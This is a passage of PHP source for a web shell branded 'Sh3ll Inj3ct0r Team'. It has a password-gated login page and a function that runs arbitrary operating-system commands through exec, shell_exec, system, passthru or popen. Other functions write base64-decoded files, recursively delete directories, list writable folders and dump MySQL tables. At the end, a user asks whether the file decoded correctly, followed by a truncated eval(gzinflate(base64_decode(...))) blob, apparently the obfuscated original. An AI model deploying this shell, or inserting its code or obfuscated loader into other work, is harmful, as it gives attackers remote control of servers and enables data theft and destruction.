                $from = 1;
                if(($to - $from) < $page && ($to - $from) < $pages) {
                    $to = $page;
                }
            } elseif($to > $pages) {
                $from = $curpage - $pages + $to;
                $to = $pages;
                if(($to - $from) < $page && ($to - $from) < $pages) {
                    $from = $pages - $page + 1;
                }
            }
        }
        $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
        for($i = $from; $i <= $to; $i++) {
            $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
        }
        $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
        $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
    }
    return $multipage;
}
// Login page
function loginpage() {
?>
<html>
<head>
 
<body bgcolor=black background=1.jpg>
 
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Sh3ll Inj3ct0r Team</title>
<style type="text/css">
A:link {text-decoration: none; color: green }
A:visited {text-decoration: none;color:red}
A:active {text-decoration: none}
A:hover {text-decoration: underline; color: green;}
input, textarea, button
{
    font-size: 11pt;
    color:     #FFFFFF;
    font-family: verdana, sans-serif;
    background-color: #000000;
    border-left: 2px dashed #508a57;
    border-top: 2px dashed #508a57;
    border-right: 2px dashed #508a57;
    border-bottom: 2px dashed #508a57;
}
 
</style>
 
       <BR><BR>
<div align=center >
 
<div>
<font color=gray>
<br /><br /><br /><br /><br />
 
<form method="POST" action="">
    <span style="font:20pt tahoma;"> </span><input name="password" type="password" size="30">
    <input type="hidden" name="doing" value="login">
    <input type="submit" value="L0giN">
    </form>
<BR>
<?php
echo "".$err_mess."";
?>
 
    <B><font color=red>
 
 
 
 
 
 
</div>
 
 
    </fieldset>
 
 
 
</head>
</html>
 
 
<?php
    exit;
 
}//end loginpage()
 
function execute($cfe) {
    $res = '';
    if ($cfe) {
        if(function_exists('exec')) {
            @exec($cfe,$res);
            $res = join("\n",$res);
        } elseif(function_exists('shell_exec')) {
            $res = @shell_exec($cfe);
        } elseif(function_exists('system')) {
            @ob_start();
            @system($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif(function_exists('passthru')) {
            @ob_start();
            @passthru($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif(@is_resource($f = @popen($cfe,"r"))) {
            $res = '';
            while(!@feof($f)) {
                $res .= @fread($f,1024);
            }
            @pclose($f);
        }
    }
    return $res;
}
function which($pr) {
    $path = execute("which $pr");
    return ($path ? $path : $pr);
}
 
function cf($fname,$text){
    if($fp=@fopen($fname,'w')) {
        @fputs($fp,base64_decode($text));
        @fclose($fp);
    }
}
 
// Debug
function debuginfo() {
    global $starttime;
    $mtime = explode(' ', microtime());
    $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
 
}
 
// Function connect database
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
    if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
        p('<h2>Can not connect to MySQL server</h2>');
        exit;
    }
    if($link && $dbname) {
        if (!@mysql_select_db($dbname, $link)) {
            p('<h2>Database selected has error</h2>');
            exit;
        }
    }
    if($link && mysql_get_server_info() > '4.1') {
        if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
            q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
        }
    }
    return $link;
}
 
// Array strip
function s_array(&$array) {
    if (is_array($array)) {
        foreach ($array as $k => $v) {
            $array[$k] = s_array($v);
        }
    } else if (is_string($array)) {
        $array = stripslashes($array);
    }
    return $array;
}
 
// HTML Strip
function html_clean($content) {
    $content = htmlspecialchars($content);
    $content = str_replace("\n", "<br />", $content);
    $content = str_replace("  ", "&nbsp;&nbsp;", $content);
    $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
    return $content;
}
 
// Chmod
function getChmod($filepath){
    return substr(base_convert(@fileperms($filepath),10,8),-4);
}
 
function getPerms($filepath) {
    $mode = @fileperms($filepath);
    if (($mode & 0xC000) === 0xC000) {$type = 's';}
    elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
    elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
    elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
    elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
    elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
    elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
    else {$type = '?';}
 
    $owner['read'] = ($mode & 00400) ? 'r' : '-';
    $owner['write'] = ($mode & 00200) ? 'w' : '-';
    $owner['execute'] = ($mode & 00100) ? 'x' : '-';
    $group['read'] = ($mode & 00040) ? 'r' : '-';
    $group['write'] = ($mode & 00020) ? 'w' : '-';
    $group['execute'] = ($mode & 00010) ? 'x' : '-';
    $world['read'] = ($mode & 00004) ? 'r' : '-';
    $world['write'] = ($mode & 00002) ? 'w' : '-';
    $world['execute'] = ($mode & 00001) ? 'x' : '-';
 
    if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
    if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
    if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
 
    return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}
 
function getUser($filepath)    {
    if (function_exists('posix_getpwuid')) {
        $array = @posix_getpwuid(@fileowner($filepath));
        if ($array && is_array($array)) {
            return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';
        }
    }
    return '';
}
 
// Delete dir
function deltree($deldir) {
    $mydir=@dir($deldir);
    while($file=$mydir->read())    {
        if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
            @chmod($deldir.'/'.$file,0777);
            deltree($deldir.'/'.$file);
        }
        if (is_file($deldir.'/'.$file)) {
            @chmod($deldir.'/'.$file,0777);
            @unlink($deldir.'/'.$file);
        }
    }
    $mydir->close();
    @chmod($deldir,0777);
    return @rmdir($deldir) ? 1 : 0;
}
 
// Background
function bg() {
    global $bgc;
    return ($bgc++%2==0) ? 'alt1' : 'alt2';
}
 
// Get path
function getPath($scriptpath, $nowpath) {
    if ($nowpath == '.') {
        $nowpath = $scriptpath;
    }
    $nowpath = str_replace('\\', '/', $nowpath);
    $nowpath = str_replace('//', '/', $nowpath);
    if (substr($nowpath, -1) != '/') {
        $nowpath = $nowpath.'/';
    }
    return $nowpath;
}
 
// Get up path
function getUpPath($nowpath) {
    $pathdb = explode('/', $nowpath);
    $num = count($pathdb);
    if ($num > 2) {
        unset($pathdb[$num-1],$pathdb[$num-2]);
    }
    $uppath = implode('/', $pathdb).'/';
    $uppath = str_replace('//', '/', $uppath);
    return $uppath;
}
 
// Config
function getcfg($varname) {
    $result = get_cfg_var($varname);
    if ($result == 0) {
        return 'No';
    } elseif ($result == 1) {
        return 'Yes';
    } else {
        return $result;
    }
}
 
// Function name
function getfun($funName) {
    return (false !== function_exists($funName)) ? 'Yes' : 'No';
}
 
function GetList($dir){
    global $dirdata,$j,$nowpath;
    !$j && $j=1;
    if ($dh = opendir($dir)) {
        while ($file = readdir($dh)) {
            $f=str_replace('//','/',$dir.'/'.$file);
            if($file!='.' && $file!='..' && is_dir($f)){
                if (is_writable($f)) {
                    $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
                    $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
                    $dirdata[$j]['dirchmod']=getChmod($f);
                    $dirdata[$j]['dirperm']=getPerms($f);
                    $dirdata[$j]['dirlink']=ue($dir);
                    $dirdata[$j]['server_link']=$f;
                    $dirdata[$j]['client_link']=ue($f);
                    $j++;
                }
                GetList($f);
            }
        }
        closedir($dh);
        clearstatcache();
        return $dirdata;
    } else {
        return array();
    }
}
 
function qy($sql) {
    //echo $sql.'<br>';
    $res = $error = '';
    if(!$res = @mysql_query($sql)) {
        return 0;
    } else if(is_resource($res)) {
        return 1;
    } else {
        return 2;
    }
    return 0;
}
 
function q($sql) {
    return @mysql_query($sql);
}
 
function fr($qy){
    mysql_free_result($qy);
}
 
function sizecount($size) {
    if($size > 1073741824) {
        $size = round($size / 1073741824 * 100) / 100 . ' G';
    } elseif($size > 1048576) {
        $size = round($size / 1048576 * 100) / 100 . ' M';
    } elseif($size > 1024) {
        $size = round($size / 1024 * 100) / 100 . ' K';
    } else {
        $size = $size . ' B';
    }
    return $size;
}
 
// Zip
class PHPZip{
    var $out='';
    function PHPZip($dir)    {
        if (@function_exists('gzcompress'))    {
            $curdir = getcwd();
            if (is_array($dir)) $filelist = $dir;
            else{
                $filelist=$this -> GetFileList($dir);//File list
                foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
            }
            if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
            else chdir($curdir);
            if (count($filelist)>0){
                foreach($filelist as $filename){
                    if (is_file($filename)){
                        $fd = fopen ($filename, 'r');
                        $content = @fread ($fd, filesize($filename));
                        fclose ($fd);
                        if (is_array($dir)) $filename = basename($filename);
                        $this -> addFile($content, $filename);
                    }
                }
                $this->out = $this -> file();
                chdir($curdir);
            }
            return 1;
        }
        else return 0;
    }
 
    // Show file list
    function GetFileList($dir){
        static $a;
        if (is_dir($dir)) {
            if ($dh = opendir($dir)) {
                while ($file = readdir($dh)) {
                    if($file!='.' && $file!='..'){
                        $f=$dir .'/'. $file;
                        if(is_dir($f)) $this->GetFileList($f);
                        $a[]=$f;
                    }
                }
                closedir($dh);
            }
        }
        return $a;
    }
 
    var $datasec      = array();
    var $ctrl_dir     = array();
    var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    var $old_offset   = 0;
 
    function unix2DosTime($unixtime = 0) {
        $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
        if ($timearray['year'] < 1980) {
            $timearray['year']    = 1980;
            $timearray['mon']     = 1;
            $timearray['mday']    = 1;
            $timearray['hours']   = 0;
            $timearray['minutes'] = 0;
            $timearray['seconds'] = 0;
        } // end if
        return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
                ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    }
 
    function addFile($data, $name, $time = 0) {
        $name = str_replace('\\', '/', $name);
 
        $dtime = dechex($this->unix2DosTime($time));
        $hexdtime    = '\x' . $dtime[6] . $dtime[7]
                    . '\x' . $dtime[4] . $dtime[5]
                    . '\x' . $dtime[2] . $dtime[3]
                    . '\x' . $dtime[0] . $dtime[1];
        eval('$hexdtime = "' . $hexdtime . '";');
        $fr    = "\x50\x4b\x03\x04";
        $fr    .= "\x14\x00";
        $fr    .= "\x00\x00";
        $fr    .= "\x08\x00";
        $fr    .= $hexdtime;
 
        $unc_len = strlen($data);
        $crc = crc32($data);
        $zdata = gzcompress($data);
        $c_len = strlen($zdata);
        $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
        $fr .= pack('V', $crc);
        $fr .= pack('V', $c_len);
        $fr .= pack('V', $unc_len);
        $fr .= pack('v', strlen($name));
        $fr .= pack('v', 0);
        $fr .= $name;
        $fr .= $zdata;
        $fr .= pack('V', $crc);
        $fr .= pack('V', $c_len);
        $fr .= pack('V', $unc_len);
 
        $this -> datasec[] = $fr;
        $new_offset = strlen(implode('', $this->datasec));
 
        $cdrec = "\x50\x4b\x01\x02";
        $cdrec .= "\x00\x00";
        $cdrec .= "\x14\x00";
        $cdrec .= "\x00\x00";
        $cdrec .= "\x08\x00";
        $cdrec .= $hexdtime;
        $cdrec .= pack('V', $crc);
        $cdrec .= pack('V', $c_len);
        $cdrec .= pack('V', $unc_len);
        $cdrec .= pack('v', strlen($name) );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('V', 32 );
        $cdrec .= pack('V', $this -> old_offset );
        $this -> old_offset = $new_offset;
        $cdrec .= $name;
 
        $this -> ctrl_dir[] = $cdrec;
    }
 
    function file() {
        $data    = implode('', $this -> datasec);
        $ctrldir = implode('', $this -> ctrl_dir);
        return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .    pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
    }
}
 
// Dump mysql
function sqldumptable($table, $fp=0) {
    $tabledump = "DROP TABLE IF EXISTS $table;\n";
    $tabledump .= "CREATE TABLE $table (\n";
 
    $firstfield=1;
 
    $fields = q("SHOW FIELDS FROM $table");
    while ($field = mysql_fetch_array($fields)) {
        if (!$firstfield) {
            $tabledump .= ",\n";
        } else {
            $firstfield=0;
        }
        $tabledump .= "   $field[Field] $field[Type]";
        if (!empty($field["Default"])) {
            $tabledump .= " DEFAULT '$field[Default]'";
        }
        if ($field['Null'] != "YES") {
            $tabledump .= " NOT NULL";
        }
        if ($field['Extra'] != "") {
            $tabledump .= " $field[Extra]";
        }
    }
    fr($fields);
 
    $keys = q("SHOW KEYS FROM $table");
    while ($key = mysql_fetch_array($keys)) {
        $kname=$key['Key_name'];
        if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
            $kname="UNIQUE|$kname";
        }
        if(!is_array($index[$kname])) {
            $index[$kname] = array();
        }
        $index[$kname][] = $key['Column_name'];
    }
    fr($keys);
 
    while(list($kname, $columns) = @each($index)) {
        $tabledump .= ",\n";
        $colnames=implode($columns,",");
 
        if ($kname == "PRIMARY") {
            $tabledump .= "   PRIMARY KEY ($colnames)";
        } else {
            if (substr($kname,0,6) == "UNIQUE") {
                $kname=substr($kname,7);
            }
            $tabledump .= "   KEY $kname ($colnames)";
        }
    }
 
    $tabledump .= "\n);\n\n";
    if ($fp) {
        fwrite($fp,$tabledump);
    } else {
        echo $tabledump;
    }
 
    $rows = q("SELECT * FROM $table");
    $numfields = mysql_num_fields($rows);
    while ($row = mysql_fetch_array($rows)) {
        $tabledump = "INSERT INTO $table VALUES(";
 
        $fieldcounter=-1;
        $firstfield=1;
        while (++$fieldcounter<$numfields) {
            if (!$firstfield) {
                $tabledump.=", ";
            } else {
                $firstfield=0;
            }
 
            if (!isset($row[$fieldcounter])) {
                $tabledump .= "NULL";
            } else {
                $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
            }
        }
 
        $tabledump .= ");\n";
 
        if ($fp) {
            fwrite($fp,$tabledump);
        } else {
            echo $tabledump;
        }
    }
    fr($rows);
    if ($fp) {
        fwrite($fp,"\n");
    } else {
        echo "\n";
    }
}
 
function ue($str){
    return urlencode($str);
}
 
function p($str){
    echo $str."\n";
}
 
function tbhead() {
    p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot(){
    p('</table>');
}
 
function makehide($name,$value=''){
    p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}
 
function makeinput($arg = array()){
    $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
    $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
    !$arg['type'] && $arg['type'] = 'text';
    $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
    if ($arg['newline']) {
        p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
    } else {
        p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
    }
}
 
function makeselect($arg = array()){
    if ($arg['onchange']) {
        $onchange = 'onchange="'.$arg['onchange'].'"';
    }
    $arg['title'] = $arg['title'] ? $arg['title'] : '';
    if ($arg['newline']) p('<p>');
    p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
        if (is_array($arg['option'])) {
            foreach ($arg['option'] as $key=>$value) {
                if ($arg['selected']==$key) {
                    p("<option value=\"$key\" selected>$value</option>");
                } else {
                    p("<option value=\"$key\">$value</option>");
                }
            }
        }
    p("</select>");
    if ($arg['newline']) p('</p>');
}
function formhead($arg = array()) {
    !$arg['method'] && $arg['method'] = 'post';
    !$arg['action'] && $arg['action'] = $self;
    $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
    !$arg['name'] && $arg['name'] = 'form1';
    p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
    if ($arg['title']) {
        p('<h2>'.$arg['title'].' &raquo;</h2>');
    }
}
 
function maketext($arg = array()){
    !$arg['cols'] && $arg['cols'] = 100;
    !$arg['rows'] && $arg['rows'] = 25;
    $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}
 
function formfooter($name = ''){
    !$name && $name = 'submit';
    p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
    p('</form>');
}
 
function formfoot(){
    p('</form>');
}
 
// Exit
function pr($a) {
    echo '<pre>';
    print_r($a);
    echo '</pre>';
 
}

Did this file decode correctly?

Original Code

<?php
eval(gzinflate(base64_decode('7b19X9s40zD6P59C9XKv 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 